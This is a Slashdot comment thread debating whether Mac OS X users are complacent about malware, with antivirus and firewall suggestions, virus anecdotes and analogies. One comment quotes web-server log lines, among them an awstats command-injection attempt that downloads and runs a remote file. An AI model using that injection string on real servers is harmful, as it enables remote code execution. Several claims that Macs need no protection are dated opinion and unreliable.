By the way, eTrust Antivirus 7.1 is not the same as CA EZ Antivirus I believe!

Re:Options for OS X

[__aafutm5472]

You're more right than you think. Symantec's antivirus software for Mac is crap and difficult to get rid of...

Re:Options for OS X

[Anonymous Coward]

I own several PCs and a Mac. I use ClamXAV for anti-virus on the Mac, but I have yet to find an equivalent for AdAware or SpyBot.

As far as I know, a web site can utilise a tracking cookie on any OS, so does anyone know of any OS X ad/spyware programs?

Re:Options for OS X

[sammy baby]

Thanks for the heads up - looks like an interesting product. For some reason, I just have a mental block about CA.

I find their price schedule pretty funny, though. The difference between their "Enterprise Maintenance" and "Value Maintenance" support packages appears to be that the first gets you 24x7 phone support, while the second only gives you 12x5. How much do you have to pay to get the additional 108 hours of weekly coverage? Two dollars.

Re:Options for OS X

[AndroidCat]

I have no doubt. I never run active virus scanners, even on Windows. They hook into far too many things, eat up too many resources, depend on updates from the mothership to catch problems that are a step ahead, and are trying to do the job of the OS and a secure configuration. (The job of being careful clicking Yes to "Good Gods, are you really sure you want to run this?" is mine.)

Re:Options for OS X

[jobob]

Here is another option. Authentium ESP Antivirus by Authentium, Inc.

Re:Options for OS X

[Anonymous Coward]

ClamXav, Little Snitch, MacOS X's firewall and a decent router/firewall are what I advise. Shrug. Hell, ClamXav and a *decent router/firewall would be a fine place to start, along with not opening attachments from strange emails, not following links in emails promising hot asian girls at your doorstep, etc....

It's hard to protect people against their own stupidity, that's why we have the the term "Natural Selection". (And why I shake my head at helmet and seat belt laws - let them kill themselves! I thought the world was *over-populated*!) :-)

* As far as I can tell, there's no way to stealth the ports on an AirPort router.. Sad... An old Asante router gives better results on "Shields Up!" then an Airport. Wish Apple would fix that...

Re:Options for OS X

[qzulla]

You might try their uninstall option. Just a thought.

qz

Re:Options for OS X

[Anonymous Coward]

Add Little Snitch and Cookie Assassin to your toolbox ...

http://www.obdev.at/products/littlesnitch/index.ht ml

http://www.versiontracker.com/dyn/moreinfo/macosx/ 28428&vid=246854

I'm sure there are some points....

[Rick Zeman]

...but architectural considerations need to be considered, too. There's no legacy baggage code from 1990 (a la WMF) to be worked around. Sure, we're smug, but that's because we live in today and not some theoretical tomorrow.

That being said, my Macs have Little Snitch installed. For those not lucky enough to be using a Mac, it's like Zone Alarm.

Re:I'm sure there are some points....

[foniksonik]

Little Snitch... it's like Zone Alarm for the rest of us... it's Zone Alarm made intuitive and EASY to use.

I tried Zone Alarm on a work PC after hearing that it was like Little Snitch for Windows... I installed it, then poked around, then uninstalled it. The learning curve was way too high to be useful and after I installed it everything broke, all network connections to internal servers were broken, all email connections to mail servers were broken, all ftp connections - broken, everything network related broke and required reading through pages of documentation to simply reenable them while keeping zone alarm active and doing what it's supposed to do. I think maybe it would have been easier if I'd paid for the full version or something... don't know cause my first experience was so bad.

This is what's wrong with Windows security... they make it so hard to use the security software that most people simply give up or use whatever they have time to figure out which ends up being only a partial solution... which still leaves them with large unplugged holes. Even AVG the easiest AV software is cryptic when it comes to telling you what's going on. They are trying to be informative but end up saying too much and too little at the same time. ./rant over

Submitters place annoying questions at the end...

[NitsujTPU]

Is he right, and what actual products exist for OS X that would protect against infections?

Today, wild_berry was the billionth story submitter to place an annoying question at the end of his submission. Despite the pleas of nearly a million Slashdot users, wild_berry took part in the timeless tradition of Kindergarten Teachers and Coffee Talkers everywhere, and gave us a topic to discuss amongst ourselves.

What about YOU, what is your opinion of annoying questions at the end of postings? What do YOU think about them? Do YOU have any solutions to the problem?

Completeley useless article, no facts at all

[mstroeck]

I don't know who the guy is, but the article is completely useless. There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share". It's just not true. I haven't come across anything dodgy so far and I've _actively_ looked for it. Nothing except some shell-script with a highly hypothetical threat. Also, keep in mind that OS X users tend to get a large percentage of their software from centralized sources like apple.com and VersionTracker, which wouldn't post or quickly pull any infected software. IF there was any kind of outbreak, it would be all over the Mac-web within an hour at the maximum.

Re:Completeley useless article, no facts at all

[NoSlack913]

There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share". It's just not true. I haven't come across anything dodgy so far and I've _actively_ looked for it.

First google Hit... http://www.cnn.com/2004/TECH/internet/04/09/apple. trojan/

so apparently you aren't looking that hard... If it was written by people then there are bugs and exploitations are possible. Deal.

Re:Completeley useless article, no facts at all

[thatguywhoiam]

I don't know who the guy is, but the article is completely useless. There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share".

Here's the key... its not so much about the message of the article (which, while true, involves a disproportionate amount of hand-wringing...)

"These days Apple users are almost unbearably smug when the subject turns to malware..."

"we got dozens of e-mails from complacent Mac users pointing out that they were safe..."

"Any Mac user who believes they are totally safe is being reckless..."

"Mac users demonstrate an indefensible smugness when it comes to the dangers of having their systems compromised..."

There's your answer. Do you really think this guy (the author) will rush to our aid when/if a Mac OS X virus actually hits? No, he's pissed off at the teeming, ignorant Mac users who 'act superior'. And he can now easily point back to this article when/if said virus hits and say 'told you so'. Pretty easy bet, actually. If nothing happens, no one will remember this editorial. If it does, he can crow about it.

Here's my plan: I run no AV software. I do no checks of any kind. My form of security is to not run MS Office (macro viruses). When/if a Mac OS X virus appears, it will be shouted so loudly from the rooftops by redeemed security geeks that I can hardly miss the news. Then I will go download the single virus definition. Until then, I will not concern myself with what is simply not there.

Besides - I take standard precautions, I back up my stuff weekly at a minumum. Hard drives crash without warning, that's a much bigger problem. Luckily I can mitigate a very real hd crash thread and a theoretical virus threat with that same rememdy.

Re:Completeley useless article, no facts at all

[MirrororriM]

Please point us to ONE SINGLE virus, keylogger,

http://www.keykatcher.com/

Does that work for you?

Re:Completeley useless article, no facts at all

[prockcore]

Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share".

Adware and spyware are prefectly possible on OSX.. is there something inherent to OSX that prevents people from writing software to get on the internet or display an ad?

The fact that there isn't any spyware for OSX indicates that, indeed, it is a matter of popularity. (Although, Limewire has spyware and it runs on OSX)

As far as more malicious things. The default user on OSX (usually the end-user), can overwrite everything in the Applications directory, without needing a password or any user-interaction.

This makes real viruses (not internet worms, but actual attach-to-executable viruses) a real threat on OSX. They could attach themselves to Safari and iTunes and spread every time you run them. The fact is, a real virus is possible on OSX right now.

The fact that no one bothers to put up an infected executable for people to spread is luck, not security.

It does

[EachLennyAPenny]

The BBC article says "After all, Mac OS is built on top of the Unix operating system and it, like its close relative Linux, has many well-known security problems that can allow it to be compromised.".

Re:It does

[pwhysall]

I was referring to the link in the post I was replying to, not the link in the story.

50k viruses? That was YEARS ago.

[TERdON]

>100k viruses would be more correct...

Migration

[Joebert]

Sooner or later there will be quite a few people running spyware removers on their Macs thinking "Isn't this why I quit using Windows ?!"

It's always the people that "jump ship" that end up drowning out in the cold, remember that. ;)

Re:Migration

[eltonito]

Sooner or later there will be quite a few people running spyware removers on their Macs thinking "Isn't this why I quit using Windows ?!"

I moved my mom to a Mac and the strangest thing happened one day. She called me and said "I downloaded something (Y! IM) and this warning popped up that I needed an administrator password to install it." This was entirely new to her, because her Windows PC simply ran anything and everything without much warning.

I suppose someday a good virus/spyware/malware coder could find a way to install and execute a program without requiring admin access, but any vulnerability found would be resolved with a patch in a matter of days/weeks. In the meantime the user will have to be somewhat complicit in running malware/spyware/virii by approving the software to be installed/executed.

It's not that I am smug about security, it's simply that the Mac is safe enough for clueless folks like my mom. I do believe that someday (possibly soon) that we will see virii and malware, but I also believe that it will all be related to patchable vulnerabilities as opposed to design/security flaws in the foundation of the OS and how it networks.

Re:Migration

[Anonymous Coward]

Yeah, it's safer to remain on the hole-pocketed, leaky, sinking ship just because the waters "might one day in the future but when we don't know" turn cold. While crusing through the Caribbean.

Sorry, but the water's just fine. :) Naw, I'm not smug.

Re:Migration

[Joebert]

It's only a matter of time before "Social Engineering" takes over the Macs. Because most of the people using them are confident they are secure, stealthy slow malware is going to have a field day. In your case your mom is probably good to go, but how many people can say they have someone knowledgable in the family or close by that is willing to play administrator for them ? Sooner or later, people get caught sleeping.

Baloney

[liangzai]

Looking at /var/log/httpd/access_log I typically find lines like these:

61.185.142.22 - - [15/Jan/2006:20:41:12 +0800] "GET /NULL.IDA?CC...
210.0.196.236 - - [16/Jan/2006:19:14:34 +0800] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillok%3bc hmod%20%2bx%20killok%3b%2e%2fkillok;echo%20YYY;ech o| HTTP/1.1" 404 293

Why would I bother about this? There never is and never was an attempt at hooking up to my machine. Not a single virus, worm, trojan horse or macro virus in fifteen years of time.

There was a time when I downloaded the latest and the greatest in antivirus, but those apps were never of any use. They just consume valuable cycles and memory. I was just fooled by commercial forces to believe that I too could be hurt.

IF there is a virus or similar attacking Mac OS X, it will be known in no-time by the entire community, because there are a few outlets that almost all Mac users tend to for information. IF, and when, that happens, I will worry a little bit. But until then I will just let you folks use your Windoze crap machines loaded with warring apps to combat the attacks on your machines.

Do you wear a bicycle helmet? You are much more likely to be killed in a bicycle accident than your Mac is likely to be hit by a malicious attack. So, do you wear a bicycle helmet!?

I'm a Mac user and...

[Thaidog]

I have spyware detection programs, snort, firewall, litte snitch (network traffic filter), virus scanner make regular back ups.... etc. It's foolish to even step on to a computer... any and assume that you are safe. My personal opinion is those who keep blindly procaiming that Mac OS X is a security haven should be held accountable for their words.

Re:I'm a Mac user and...

[mstroeck]

Sorry, but what you are doing is stupid. It's a complete waste of your time. The way to go is backing up your data regularly and keeping it safe, because you have to do that ANYWAY. If your data is not important enough to warrant the hassle, your entire computer isn't and that makes OS X anti-malware measures pretty useless. All that stuff you do is protecting you from the 1 in several million chance of getting infected by Mac malware (actually, you can't measure the probability because ther is NOT A SINGLE DOCUMENTED CASE, but you get my drift).

But it doesn't do any good in case someone steals your PC, you have a head-crash, or simply mess up something funky you are doing with your system. The chance of something like that happening is so much greater. Just do backups, because, after all, it's about your DATA. Setting up OS X takes about 90 minutes, at the most, but a secure system is worthless without it.

Re:I'm a Mac user and...

[theAtomicFireball]

I have spyware detection programs, snort, firewall, litte snitch (network traffic filter), virus scanner make regular back ups.... etc. It's foolish to even step on to a computer... any and assume that you are safe. My personal opinion is those who keep blindly procaiming that Mac OS X is a security haven should be held accountable for their words.

Backing up and firewalls are a great idea. Little snitch isn't bad, either.

The rest of your regime is foolish. Virus and anti-spyware software on the Mac is a case of the problem being worse than the cure. Several of the anti-virus software packages for the Mac actually make your machine less secure. You're not just wasting your time and processor cycles, you are actually making yourself more vulnerable.

Use a firewall, backup regularly, and don't open executables from untrusted sources. That's my whole regime. Perhaps Mac users are a little smug, but hey... this article is six years old and we're STILL considerably safer than our Windows counterparts. Perhaps we deserve to be a little smug.

No amount of software can replace common sense, and common sense never let a virus onto somebody's computer (unlike certain anti-virus software).

Re:I'm a Mac user and...

[Thaidog]

I would agree that it would be foolish if I had not found viruses in the smb shares that the box serves out. It's on a netowrk with other windows boxes so to say you don't need a virus scanner in that situation is incorrect. In fact that's on of hte main reason or clamAV.... which is what I use to find the *windows* viruses on my Max shares... stil prpogating even though not affecting the host computer.

Re:I'm a Mac user and...

[Anonymous Coward]

Doesn't OS X come with ipfw enabled by default?

Re:I'm a Mac user and...

[AliasTheRoot]

nope, but i don't think it has any ports open by default either.

Re:MacOS X itself?

[Anonymous Coward]

Your part of the crowd that didn't RTFA.

Herd Immunity?

[binaryspiral]

As a Mac user he is most concerned about the lack of herd immunity...

Moo...

Re:Herd Immunity?

[abenassi]

As a Mac user he is most concerned about the lack of herd immunity...

Moo...

It's pronounced, "Moof!"

Re:Herd Immunity?

[theAtomicFireball]

It's pronounced, "Moof!"

Dude... that's funny, but sadly, almost nobody here got it.

http://en.wikipedia.org/wiki/Moof

Unfortunately, the original Apple Technote describing the cowdog (31) is now offline. :(

Re:Herd Immunity?

[binaryspiral]

It's pronounced, "Moof!"

Indeed... how could I have forgotten Clarus, the Dogcow.

Typical bull

[Anonymous Coward]

I love these articles and the replies they have produced from the anti-Mac crowd. As expected, the one argument always seems to be something along the lines of - "The only reason Macs aren't riddled with viruses etc is because the virus writers haven't targeted them yet" Gee....that arguments been happening for a few years now and still, not *one* single script-kiddie or virus guru has taken the step towards big-time publicity by developing a virus that would take down OS X? Not one? They would get nothing but support from the PC community. The PC guys would love them! The only reason these nitwits are writing viruses is because they want to brag about it to their friends. Imagine if one of them writes one that brings the Mac community to its knees? Talk about bragging rights at the schoolyard then! But alas, the truth is, they can't do it. Or they would have by now. OS X is the only security needed on a Mac. Besides the built-in firewall. Oh, and if you're a teacher and own a Mac, don't be dumb enough to allow your idiot students access to your machine or they might do some harmless crap and misguidedly say "I told you so! Macs *are* vulnerable! Hardy har har!!!!" I'm a PC user at the moment but have spent time on linux and OS X. Anyone who would run anti-virus software on OS X is an idiot.

Re:Typical bull

[Anonymous Coward]

>> Anyone who would run anti-virus software on OS X is an idiot.

For all you know, there could be a bunch of hackers/crackers working on a toolkit for an OS-X worm or trojan right now. Given the recent boost in Apple's PC market share (following the success of the iPod and Mac Mini) it's almost becoming worth it.

So you don't think it's worth a couple of bucks-worth of AV software, just in case?

Who's the idiot?

Re:Typical bull

[Anonymous Coward]

No, it's not worth slowing down your mac with anti-virus software. The OS is already pretty slow compared to Windows and linux as it is. That's my main problem with OS X - response is slow, even on the G5. Not slow enough to make it a huge issue though. But when compounded with an anti-virus program....nah. No need. Besides...don't evade the whole point of my initial response.... How come there haven't been any viruses for OS X yet? It's been 5 years now hasn't it? You telling me that just because this year iMacs are gonna start selling like hotcakes to the unenlightened, all of a sudden a virus writer is going to want to write one? Why not before? We're not talking about a Sharp Zaurus here....everyone and their brother has heard of the Mac. Even if they just have a few percentage points of the total home computer population, everyone knows of it and most have heard that it is secure against viruses. Apple has made a point to state that. So contrary to your thoughts...there is absolutely no lack of incentive for a nitwit virus writer to write a virus for the Mac...if he/she could. Problem is, they can't.

Safer vs. Safe.

[jellomizer]

If you are using Mac vs. Windows you are definatly safer. Even if you are using a windows system with all the greatest and most expensive security tools out there. First you have the OS Level of protection (which the extra windows security tools tend to fix some of), Wich prevents applicatons running as Root or Super User unless it notifies the user and they will need to retype in their password (Which could still be a problem, but at least the user would know what they did and when so they could possibly fix it), and Unlike windows and a lot of Linux Distros. It is out of the box with all outside ports closed.

But you can still put malware on a Mac. Just attach it to an other application and when they install it, it asks for a password and bang your malware has full access. Some of the new features shown at the Last Mac World scare me a little to. Like allowing people to email links when click opens up iPhoto etc... where they could be a flaw in the graphic renderer to cause a buffer overflow and run code.

The second level of protection is just the fact that a lot less people have a Mac then a PC. If you want to cause havic then you taget windows because the windows base is large enough to allow viruses and malware to spread. Apples are more dotted. And sending mac malwarer may not have the numbers to spread.

All in all I would feel safer using a Mac with a Raw connection to the internet. Vs. a Windows PC behind a well maintained network, with all the patches and secuirty tools. Because the chances are the Mac will catch on fire from a faulty fan, then get a security compremize (Without changing the origional out of the box setting)

Macs are not Targets.

[Barzoo]

You're not vulnerable if you're not a target. Macs are not targets. And I fix all computers, Windows, Linux, Macs. Mac people are no more or less smug than those other users. Most Windows people don't have a clue about firewalls, virii, trojans, or worms fyi. Computer users are all the same. They just want something that works. BTW I haven't had to remove a virus, trojan, or a worm from a Mac yet. I've done that for Windows machines all the time and make good money doing it. You do the math.

Re:Macs are not Targets.

[xutopia]

Does Mac install all users as administrators by default? Does Windows?

Re:Macs are not Targets.

[pintomp3]

i think you confused ignorant with smug. i don't think many windows users are smug about security, just ignorant.

Re:Macs are not Targets.

[geobeck]

...I fix all computers, Windows, Linux, Macs.

I'd call that the vast majority of computers, but not all computers. What about BSD, Solaris, UNIX, VAX, and assorted obscure operating systems?

As for Mac users being too smug, they probably are... although there is no such thing as a Mac (or Linux) virus. There are worms, trojans, keyloggers, spyware, etc., but no viruses.

Re:Macs are not Targets.

[FridayBob]

... Computer users are all the same. They just want something that works. ...

Correction:

Computer users are all the same: they just want the one system that they're familiar with to work (the way they want).

Re:Macs are not Targets.

[Anonymous Coward]

You're not vulnerable if you're not a target.

Er.. ... what?

Re:Macs are not Targets.

[Anonymous Coward]

Viruses, tard-o

Re:MacOS X itself?

[jrockway]

> So again how is it a safer OS if these exploits existed in the first place? Go stick you head in the sand until the great Mac worm hits that erases everyone's OSX drives. Then maybe people will realize that NO Operating System is completely safe. PERIOD.

If you look at the OS X `exploits' (quotes because that's not what they are), most of them are holes in software that doesn't even run by default. Are you using Apache 2 (not 1.3) on your desktop? If so, the security update will prevent a malicious trusted (!) proxy server from crashing one thread of your Apache instance.

If you're using Windows, you need the security update to prevent the web browser from downloading an image that puts a rootkit on your machine.

It's all about severity, and OS X's "holes" just aren't that bad. However, MS consistently manages to provide a multitude of auto-infection routes to virus writers.

nVIR

[xplenumx]

"Mac users assume their safety in the face of trojans, worms, keyloggers and other malware."

I distinctly remember my first virus way when the computer was still a bit of a novelty and the 200MB disk was considered godly (I distinctly remember my Day saying that we'd never fill it up in our lifetime). When my family got our first Mac Plus, I thought I was in heaven - I could draw using MacDraw and write up reports, but most importantly I could play all sorts of cool games like Dark Castle and Dungeon of Doom. Of course it didn't take me long to figure out that my friends and I could swap games, stretching our very limited allowance. Everything was great, until one day I accidentally infected our computer with one of the nVIR viruses. That was an experience I'll never forget - my dad feared for his computer, I feared for my life. The computer survived, and so did I (barely), but it's safe to say that I've been paranoid about viruses ever since.

Re:nVIR

[Carthag]

I think 50% of my Amiga disks had the Saddam virus. Fucker stayed in memory between soft reboots and replaced the boot sectors. A true pain in the ass. Since then I've been quite careful, but there really isn't that much to protect against when you're running OS X with a firewall. Just for the hell of it I write angry emails to ISPs when their infected users fill up my httpd logs with cookie cutter attacks.

Re:nVIR

[Anonymous Coward]

"I distinctly remember"
"I distinctly remember"
"I thought I was in heaven"
"but it's safe to say"

They are all tired cliches. It's painful to read. Use some original phrasing in your writing! You even used one cliche twice in the same post.

My first Virus was on a Mac

[IAAP]

Indeed, old Macs suffered from security problems

The first virus I ever got was on one of the original Mac models - the little ones with the 9" screen. It was kind of cool actually. You put your floppy in to save a documnt - MS Word in my case, and it would transfer onto the floppy. And then, when you go to use another Mac, it spread to that one. No need for the Internet.

Re:My first Virus was on a Mac

[Prophet of Nixon]

My first viruses were on System 7 on a mac IIsi. Norton Antivirus at the time was considerably worse than having a virus, but there was some free virus scanner (with an italic v in a shield for an icon, but I can't remember its name) that was fairly effective.

I remember one virus that went through the (then System 7.5) networked macs at my school and made them all play their 'quack' alert sound nonstop, which was pretty amusing in the computer labs. A lot of the viruses after that one would totally nuke AppleTalk, and combined with the lack of decent AV, was one of the reasons my school system dumped macs in favor of windows 95B/novell netware. We tried to run them sort of half and half, but AppleTalk packets would congest the network and stop novell from working, so it was one or the other.

We actually (amazingly) had fewer virus problems after that, but more malicious user problems, since the jerks mostly had 95 machines at home, and knew enough to mess with them. Thus began our endless pursuit of secure user attachments for Win9x, beginning with the laughably ineffective Fortres. Fortunately after Win2k came out, system policies could be tweaked to really lock down boxes, and almost all the problems (including netware, since we switched to windows servers) went away.

I still have a Mac-in-a-box (a classic) that I use for a doorstop, but that's about it.

I'm not sure how it happened exactly, but at one point in highschool I actually got a TI-85 virus via a link cable. It would flick random pixels on the screen on and off, sort of like a light static on the picture. Had to clear the whole calculator to get rid of it.

Re:MacOS X itself?

[eboot]

My god what a moron you are. Ok so imagine that you, an idiot, is sitting at home writing a virus and he thinks to himself 'well i could write a virus for 95% of the computing market or I could write a virus for the 5% that have never been hacked and become infamous across the web... No wait ill write another virus for that 95%' FFS its not like apple are even low profile anymore, big enough to take potshots at no problem if it were that easy.

Ok you dumb ass, look at what your comment says about patching. Apple releases a lot of security patches AND there are NO viruses, Windows releases less patches AND has MANY many many viruses. So what Apple are relying on security through obscurity? Or maybe they are patching there OS all the time to make sure it stays 100% secure unlike Windows which is at the stage of 'damage control'?

P.P.S. You dont even know how computers work do you? what are you doing here? a mac virus that erases the hard drive? Macs dont even run in root 99% of the time!!!

Yes but when my Mac does get a virus it will have

[Anonymous Coward]

good user interface and it will be better integrated with my other applications. So there...

I look at it this way

[Psykechan]

The Mac is not immune to viruses or spyware, it's just that they aren't that prevalent yet. I would say that OSX is resistant to malware simply by design.

The really big benefit to OSX (over Windows) is that if a user executes malware it does not infect the entire system by default. Sure, things can be done to destroy data or spy on the unfortunate user but the rest of the users on the system are spared of the issue and any potential tracking malware or botnet application is not running after the problematic user is logged off.

This is why I have no issue about letting my non security consious friends have an account on my systems. There is little that they can do to cause me problems. Should one of them get infected with a hypothetical malware then I can just recreate their account. No big deal.

True, social engineering will always break any software security model but it does no good if they are not administrators.

I wouldn't even consider letting them do the same thing with Windows even under a limited account on a completely patched system. There are just too many holes.

Re:I look at it this way

[Anonymous Coward]

This is why I have no issue about letting my non security consious friends have an account on my systems. There is little that they can do to cause me problems. Should one of them get infected with a hypothetical malware then I can just recreate their account. No big deal.

How is this different if you give them a non-admin account on an XP box? Serious question.

Re:I look at it this way

[sqlrob]

Less apps are broken on OS X if you don't have admin access, in contrast to Windows ones.

I've read SO many of these articles.

[Biotech9]

There have been HUNDREDS of articles like this over the last few years, especially since Apple moved to OS X. And every time the tone is, that Mac users have no idea how dangerous computing is, and have too much trust in Apple and OS X to be inherently virus/malware/spyware/trojan proof.

The problem for me is, that I see nothing to shake that trust in OS X.

I switched to OS X machines after years of administrating a collection of around 100 PCs in two internet cafes, and 100 PCs running Windows being used by thousands of clueless users entails massive amounts of work and hardship to keep them virus/malware/spyware/trojan free. We had a few Mac machines, and all they ever needed was to have 'software update' run once in a while.

There's no point telling people that they have too much faith in OS X's powers to keep out the hackers and viruses, when there are STILL no viruses for Macs, still no malware apps, still no trojans, still no worms. What can they expect articles like this to make users do? Run anti-virus software everyday? What the hell would it be looking for?

Current vs. Future Problems

[Erwos]

Linux is a damned secure OS, at least as good as MacOS X. Yet, you find Linux sysadmins often talking about relatively paranoid security measures when talking about keeping their systems safe. Linux has a good security culture. (The same could be said for the BSDs.)

The issue, in my eyes, is not whether MacOS users are going to be immediately vulnerable to any virus outbreaks because they're not securing their computers properly - it's whether this whole "I use Macs, therefore, I am impervious" is fostering a culture of bad security practices in the Mac community. A good OS is only half the battle - you need to make sure you have good security practices, too, if you don't want to get owned.

-Erwos

Re:Current vs. Future Problems

[Anonymous Coward]

I don't buy this idea of "bad security practices"; a truly secure OS would not require "good security practice" in order to be secure. It should be designed in a way that makes it inherently secure, regardless of the idiot using it.

Let's apply your argument to the propane cylinder industry. Let's suppose that up until now the majority of propane cylinders have been manufactured by the leading monopoly, MicroCylCo. They make their cylinders out of thin aluminum; it is enough to keep the propane in, but not enough to protect the cylinder from drops. So, among the community of propane cylinder users, there evolves a set of "good security practices"; a list of things that you need to do when handling your propane cylinder in order to not blow yourself up.

Along comes FuritCylCo, with a new propane cylinder design with thicker walls, and more built-in security features to prevent thing from blowing up. Sure it costs more, but some people are willing to pay for quality. A whole community of FruitCylCo users springs up, and they don't care for the old "good security practice", because frankly, FruitCylCo cylinders are built so well that they can be dropped off the back of a truck going at highway speeds and nothing bad will happen.

The community of MicroCylCo users goes up in arms; "You can't do that, it will blow up!", "It's not possible, you need to hire me to consult on propane cylinder handling!", "You're an average user! You're not allowed to handle propane cylinders!".

What the folks at FruitCylCo know, is that with good design, it is possible to create an essentially foolproof propane cylinder. It just takes more effort.

It's all about where you put the burden of understanding the mechanics behind something. A car is designed so that any person, even those with no mechanical knowledge, can run it without any problems. Any possible "bad practices" are made impossible by the interface ("bad practices" referring to things that are outside the mechanical limits of the vehicle, not driving the car into a tree, etc.) Try shifting your car into park while driving down the highway; not very easy, is it? The engineers that design these things realize that joe average does not need to understand these things, they just need it to work.

I honestly think that the concept of a firewall is a joke; it is like putting a locked door over the key hole to your houses deadbolt. If your house has a badly designeed deadbolt that works with any key then I can understand the need, but if your house has a deadbolt designed so that it is very difficult for anyone to open but yourself, then this additonal door would not be needed. A firewall and "good security practices" are only needed when there is a flaw in the design of the system that opens up security holes.

Programmers need to stop relying on external systems to clean up their mess and take care of it themselves.

Re:Current vs. Future Problems

[nine-times]

The issue, in my eyes, is not whether MacOS users are going to be immediately vulnerable to any virus outbreaks because they're not securing their computers properly - it's whether this whole "I use Macs, therefore, I am impervious" is fostering a culture of bad security practices in the Mac community. A good OS is only half the battle - you need to make sure you have good security practices, too, if you don't want to get owned.

Yes, but if anyone is smug about Macintoshes being 'impervious', they are that way because they don't understand security. These people who don't understand security, they'll have bad security practices anyway. The belief that their machine is impervious is just a symptom of ignorance. It can happen also when people think, "Well, I have some Norton thingy installed, so my machine is impervious!"

However, if some people are over-confident because they have an anti-virus program installed, that doesn't make it any less true that they should install an antivirus on their Windows machine. Likewise, even if some Mac users are smug, that doesn't mean that they aren't safer on a Mac.

Re:Current vs. Future Problems

[Steven W00ston]

That deadbolt analogy is horrible. A firewall is nothing like putting a locked door over a keyhole...it's more like making the door appear to be gone altogether.

So, for example, I shouldn't need a firewall restricting SSH access to my machine by IP because SSH on its own is good enough? The fact is, even though I'll be safe almost all of the time, bad guys can still try to guess my username/password. I'm sorry, but I feel a lot safer knowing that bad guys can't even ATTEMPT to log in.

Oh yeah, and you forgot the part about FruitCylCo's propane tanks being compatible only with FruitCylCo's overpriced brushed aluminum gas grills.

Re:Current vs. Future Problems

[Splintax]

Yet, you find Linux sysadmins often talking about relatively paranoid security measures when talking about keeping their systems safe.

Because they're sysadmins. They're not just looking after their own PC, and have a lot more to lose if their systems get r00ted (as well as frequently being larger targets for crackers etc).

OS X Unix Based ..therefore,

[IAAP]

wouldn't it have the inherit vulnerabilities of it's base OS, which IIRC is BSD?

Re:OS X Unix Based ..therefore,

[mstroeck]

Which would be? I'm being flippant here, but seriously, point me to something that might actually affect a Mac user.

The only real danger on OS X is giving software your root credentials, but that is true for EVERY system widely available today. The difference to windows is that nobody runs OS X as root, and most applications thanks to the .app-bundle format, most applications are just an icon you drag into your applications folder. You can even take MS OFFICE(!), drag it from your Mac to some network location on an other Mac, and it's "installed" there. No credentials at all.

So the real way to get OS X more secure: Don't trust applications that come from respectable sources AND ask for root credentials. If they don't they probably won't be able to do much harm.

Just wait....

[Austin Milbarge]

"Mac OS may not have the gaping holes that let viruses spread, but worms, spyware and even keyloggers are out there."

Once Mac's hit primetime and begin to take a larger market share of the personal computer industry, then we'll start to see some serious viruses. Won't be long. Hackers will find holes. It just isn't worth their time and effort right now to affect a small percent of computer users.

the camping tent allegory

[jeffehobbs]

A couple of men went camping. They camped at a remote site, new to them, where they didn't really know everyone else who was camping there. After setting up, one of the men put a little, teeny tiny lock on their tent flap door. His friend looked at the flimsy lock and remarked, "That lock is nowhere near good enough to keep out anyone who might want to get into your tent! Why, I bet I could get through that lock in less than a minute.". The first man replied, "The lock doesn't need to be the best lock in the world; it just needs to be better than that guy's" -- and he pointed to the tent next door, without a lock at all.

The point being, surely Mac OS X is not the end-all and be-all of security, but Apple has by all accounts gotten increasingly serious about security as Mac OS X has matured. It's not ever going to be possible to have a 100% perfect level of security, but as long as it's better than that guy's (points to Redmond, WA), in most people's minds it'll be the most secure commercial OS on the market. ~jeff

Re:the camping tent allegory

[sco08y]

Wouldn't the guy say, "why are you putting a lock on a tent flap?"

Re:the camping tent allegory

[Anonymous Coward]

"I got in an argument with a girlfriend inside of a tent. That's a bad place for an argument, because then I tried to walk out and slam the flap. How are you supposed to express your anger in this situation? Zipper it up really quick?"

--Mitch Hedberg

Re:the camping tent allegory

[brkello]

Bad analogy. The thing that prevents people from hacking Macs is not a lock, it's that very few people use them. If you can do something that will allow you to steal from many people at once, you would want to hit as many people as possible. This is Windows boxes. The more market share that Mac gains, the more interesting they will become as a target. The problem is that Mac people are way too arrogant about their systems. They believe that their systems are more secure (which is justified to and extent). But they believe they are so secure that they don't bother running any protection. I think Mac users will need a wake up call (i.e. devestating worm or virus) before they actually show any interest in security at all.

Re:the camping tent allegory

[Anonymous Coward]

It's more like having 1000 people go camping. Thirty people have one sort of lock, and the rest have another. Let's say learning how to open either lock takes an equal amount of time. Which lock are you going to learn how to open? The one only 30 people use?

Until operating systems only run signed binaries, and signed binaries are all verified to be free of viruses, no operating system that permits the writing of or to executables is immune to viruses.

Re:the camping tent allegory

[ashooner]

Then that night everyone at the campground got robbed by a guy with a pocket knife.

Re:the camping tent allegory

[pdc]

This makes much more sense talking about bicycle locks: if the thief is assumed to only want to steal one bike, you arrange that yours is not the easiest to steal. (The assumption is the theif is stealing your bike to ride it, not to sell it.)

Where there are a lot of places a thief might steal things from, then the criterion for a lock is that it cost more to break the lock than the cost of the valuables inside.

Re:the camping tent allegory

[99BottlesOfBeerInMyF]

They believe that their systems are more secure (which is justified to and extent). But they believe they are so secure that they don't bother running any protection.

So far, they have been right. More people running virus protection have suffered ill effects from it malfunctioning than have been saved from damage by that anti-virus. There have been two instances now where companies have released defective virus protection software that damaged data and systems. There have been no instances of viruses in the wild. Until there are (and believe me we'll find out about it bloody quickly when it happens) there is no point running software that scans for nothing. Having a steel breastplate is useful if you live in a jungle full of people shooting poison darts. Here in macland, however, it is more likely to cause you to die of heat exhaustion. Until that environment changes, the reasonable person will not use it.

I think Mac users will need a wake up call (i.e. devestating worm or virus) before they actually show any interest in security at all.

